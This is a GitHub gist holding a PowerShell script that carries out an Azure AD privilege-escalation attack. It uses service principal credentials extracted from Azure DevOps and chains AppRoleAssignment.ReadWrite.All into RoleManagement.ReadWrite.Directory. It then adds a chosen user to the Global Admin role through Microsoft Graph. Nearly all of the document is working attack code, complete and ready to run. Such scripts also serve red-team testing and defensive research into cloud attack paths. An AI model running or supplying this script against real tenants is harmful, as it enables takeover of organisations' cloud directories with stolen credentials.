Skip to content

Instantly share code, notes, and snippets.

@m8r1us
Created June 6, 2022 17:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save m8r1us/5babd1d63c25c0199520a0a2f8e4f2e4 to your computer and use it in GitHub Desktop.
Save m8r1us/5babd1d63c25c0199520a0a2f8e4f2e4 to your computer and use it in GitHub Desktop.
AttackPathDevOps-Sp-AppRole-GA.ps1
# Author: Marius Elmiger (@m8r1us)
# Description: Use extracted DevOps Credentials from a Service Principal to grant Global Admin rights by chaining AppRoleAssignment.ReadWrite.All with RoleManagement.ReadWrite.Directory
#
# The script includes code from from https://gist.github.com/andyrobbins/7e52f6fe255a2dcadb69745dc8640441#file-api-abuse-to-ga-ps1 (@_wald0)
# 1 The Azure AD User I want to add to GA Role (objectid)
$userToAddToGa = "3bffb11a-b991-4d1f-....."
# 2 Extracted information from Azure DevOps
$applicationId = "64396535663062302D666163392D....."
$servicePrincipalKey = "506D7A4C3346494C7651524A706E6567656254....."
$tenantId = "d2fa7646-d9d8-....."
# Helper function to let us parse Azure JWTs:
function Parse-JWTtoken {
<#
.DESCRIPTION
Decodes a JWT token. This was taken from link below. Thanks to Vasil Michev.
.LINK
https://www.michev.info/Blog/Post/2140/decode-jwt-access-and-id-tokens-via-powershell
#>
[cmdletbinding()]
param(
[Parameter(Mandatory = $True)]
[string]$Token
)
#Validate as per https://tools.ietf.org/html/rfc7519
#Access and ID tokens are fine, Refresh tokens will not work
if (-not $Token.Contains(".") -or -not $Token.StartsWith("eyJ")) {
Write-Error "Invalid token" -ErrorAction Stop
}
#Header
$tokenheader = $Token.Split(".")[0].Replace('-', '+').Replace('_', '/')
#Fix padding as needed, keep adding "=" until string length modulus 4 reaches 0
while ($tokenheader.Length % 4) {
Write-Verbose "Invalid length for a Base-64 char array or string, adding ="
$tokenheader += "="
}
Write-Verbose "Base64 encoded (padded) header: $tokenheader"
#Convert from Base64 encoded string to PSObject all at once
Write-Verbose "Decoded header:"
$header = ([System.Text.Encoding]::ASCII.GetString([system.convert]::FromBase64String($tokenheader)) | convertfrom-json)
#Payload
$tokenPayload = $Token.Split(".")[1].Replace('-', '+').Replace('_', '/')
#Fix padding as needed, keep adding "=" until string length modulus 4 reaches 0
while ($tokenPayload.Length % 4) {
Write-Verbose "Invalid length for a Base-64 char array or string, adding ="
$tokenPayload += "="
}
Write-Verbose "Base64 encoded (padded) payoad: $tokenPayload"
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = ([System.Text.Encoding]::ASCII.GetString($tokenByteArray) | ConvertFrom-Json)
#Converts $header and $tokenArray from PSCustomObject to Hashtable so they can be added together.
#I would like to use -AsHashTable in convertfrom-json. This works in pwsh 6 but for some reason Appveyor isnt running tests in pwsh 6.
$headerAsHash = @{}
$tokenArrayAsHash = @{}
$header.psobject.properties | ForEach-Object { $headerAsHash[$_.Name] = $_.Value }
$tokenArray.psobject.properties | ForEach-Object { $tokenArrayAsHash[$_.Name] = $_.Value }
$output = $headerAsHash + $tokenArrayAsHash
Write-Output $output
}
# Helper converter functions
function Convert-HexToBytes {
param($HEX)
$HEX = $HEX -split '(..)' | ? { $_ }
ForEach ($value in $HEX){
[Convert]::ToInt32($value,16)
}
}
function Convert-AsciiToHex(){
Param($a)
$c = ''
$b = $a.ToCharArray();
Foreach ($element in $b) {
$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
}
return $c -replace ' '
}
function Convert-HexToAscii() {
Param($a)
$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$result = $result + $_}
return $result
}
function Convert-BytesToHEX {
param($DEC)
$tmp = ''
ForEach ($value in $DEC){
$a = "{0:x}" -f [Int]$value
if ($a.length -eq 1){
$tmp += '0' + $a
} else {
$tmp += $a
}
}
return $tmp
}
# Start of the Script
# Convert Hex to Ascii
$applicationId = Convert-HexToAscii($applicationId)
Write-Host "[*] Application Id: $($applicationId)"
$servicePrincipalKey = Convert-HexToAscii($servicePrincipalKey)
Write-Host "[*] Application Key: $($servicePrincipalKey.substring(0,8))..."
# Using the extracted password and connect to Azure
Write-Host "[*] Connect-AzAccount: Connect with Application Id: $($applicationId)"
$spPassword = ConvertTo-SecureString $servicePrincipalKey -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($applicationId, $spPassword)
Connect-AzAccount -Credential $psCred -TenantID $tenantId -ServicePrincipal | Out-Null
# Check to see if we're logged in with Az
Write-Host "[+] Login to Azure AZ..."
$LoginStatus = Get-AzContext *>&1
# Get a MS graph token for the service principal
Write-Host "[+] Get MS Graph Token"
$APSUser = Get-AzContext *>&1
$resource = "https://graph.microsoft.com"
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
$APSUser.Account, `
$APSUser.Environment, `
$APSUser.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken
Write-Host "[*] Assigned Approles:" (Parse-JWTtoken $token).roles
Write-Host "[*] Get ServicePrincipal Id of the Application"
$serviceprincipalId = Get-AzADServicePrincipal -ApplicationId $applicationId | select-object -ExpandProperty id
Write-Host "[*] ServicePrincipal Id: $($serviceprincipalId)"
Write-Host "[*] Get AppRoles of the ServicePrincipal and extract the Resource Id"
#MS Graph API endpoint is currently not support filters based on appRoleId...
#https://graph.microsoft.com/v1.0/servicePrincipals/<id>/appRoleAssignments?$filter=appRoleId eq '06b708a9-e830-4db3-a914-8e69da51d44f'
$apiUrl = "https://graph.microsoft.com/v1.0/servicePrincipals/$($serviceprincipalId)/appRoleAssignments?`$select=appRoleId,resourceId"
Try {
$Data = Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } -Uri $apiUrl -Method Get
}
Catch
{
Write-Error $Error[0]
}
$approles = ($Data | select-object Value).Value
if ($approles.appRoleId -contains "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8")
{
Write-Host "[*] AppRole RoleManagement.ReadWrite.Directory: $($approle.appRoleId) already assigned"
$roleManagementAssigned = 1
}
elseif ($approles.appRoleId -contains "06b708a9-e830-4db3-a914-8e69da51d44f")
{
$approles | ForEach-Object {
$approle = $_
$resourceId = $approle.ResourceId
Write-Host "[*] Resource Id found: $($resourceId)"
$roleManagementAssigned = 0
}
}
else
{
Write-Host "[*] AppRoleAssignment.ReadWrite.All AppRole not assigned to the ServicePrincipal: $($serviceprincipalId)"
Exit
}
if (!$roleManagementAssigned)
{
# Grant the service principal the "RoleManagement.ReadWrite.Directory" MS Graph app role
# 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 # RoleManagement.ReadWrite.Directory -> directly promote yourself to GA
# 06b708a9-e830-4db3-a914-8e69da51d44f # AppRoleAssignment.ReadWrite.All -> grant yourself the RoleManagement.ReadWrite.Directory role, then promote to GA
Write-Host "[+] Assign RoleManagement.ReadWrite.Directory AppRole to $($servicePrincipalId)"
$body = @{
principalId = $servicePrincipalId
resourceId = $resourceId # Microsoft Graph SP ID
appRoleId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory
}
try
{
Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } `
-Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$($servicePrincipalId)/appRoleAssignedTo" `
-Method POST `
-Body $($body | ConvertTo-Json) `
-ContentType 'application/json' | Out-Null
}
catch
{
Write-Warning $Error[0]
}
# Wait for the assignment
Write-Host "[*] Wait 20 seconds..."
sleep 20
# Get a new graph token for the service principal
Write-Host "[+] Get a new graph token for the service principal"
$APSUser = Get-AzContext *>&1
$resource = "https://graph.microsoft.com"
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
$APSUser.Account, `
$APSUser.Environment, `
$APSUser.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken
Write-Host "[*] Assigned Approles: " (Parse-JWTtoken $token).roles
}
# Check if user is already member of the role
# GA Template id (The same overall Tenants): 62e90394-69f5-4237-9190-012177145e10
Write-Host "[*] Query Global Admin object id"
$apiUrl = "https://graph.microsoft.com/v1.0/directoryRoles?`$filter=roleTemplateId eq '62e90394-69f5-4237-9190-012177145e10'&`$select=id"
try {
$Data = Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } -Uri $apiUrl -Method Get
}
Catch
{
Write-Error $Error[0]
}
$globalAdminId = ($Data | select-object Value).Value.id
Write-Host "[*] Query Global Admin members"
$apiUrl = "https://graph.microsoft.com/v1.0/directoryRoles/$($globalAdminId)/members?`$select=id,userPrincipalName"
try {
$Data = Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } -Uri $apiUrl -Method Get
}
Catch
{
Write-Error $Error[0]
}
$globalAdminMembers = ($Data | select-object Value).Value.id
# Check if User is already GA
if ($globalAdminMembers -contains $userToAddToGa)
{
Write-Host "[*] $($userToAddToGa) is already Member of the GA Role"
}
else
{
# Now we use our new "RoleManagement.ReadWrite.Directory" app role to promote $userToAddToGa to Global Admin
Write-Host "[+] Add User $($userToAddToGa) to Global Admin"
$body = @{
"@odata.id"= "https://graph.microsoft.com/v1.0/directoryObjects/$($userToAddToGa)"
}
try {
Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } `
-Uri "https://graph.microsoft.com/v1.0/directoryRoles/$($globalAdminId)/members/`$ref" `
-Method POST `
-Body $($body | ConvertTo-Json) `
-ContentType 'application/json' | Out-Null
} Catch {
Write-Error $Error[0]
}
}
# Get rid of any tokens or Azure connections in this PowerShell instance
Write-Host "[*] Disconnect from AzureAD and Azure ARM"
Disconnect-AzAccount
$token = $null
# Connect with the new GA User
$confirmation = Read-Host "[>] Do you want to connect with the new GA User? (y/n)"
if ($confirmation -eq 'y') {
# Connect to Azure AD with $userToAddToGa
Write-Host "[+] Connect to AzureAD with user $userToAddToGa"
Connect-AzureAD
# Check Role Membership of $userToAddToGa
Write-Host "[*] Show AzureAD roles of the User"
Get-AzureADDirectoryRoleMember -ObjectID $($globalAdminId) | select DisplayName
}
Disconnect-AzureAD
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment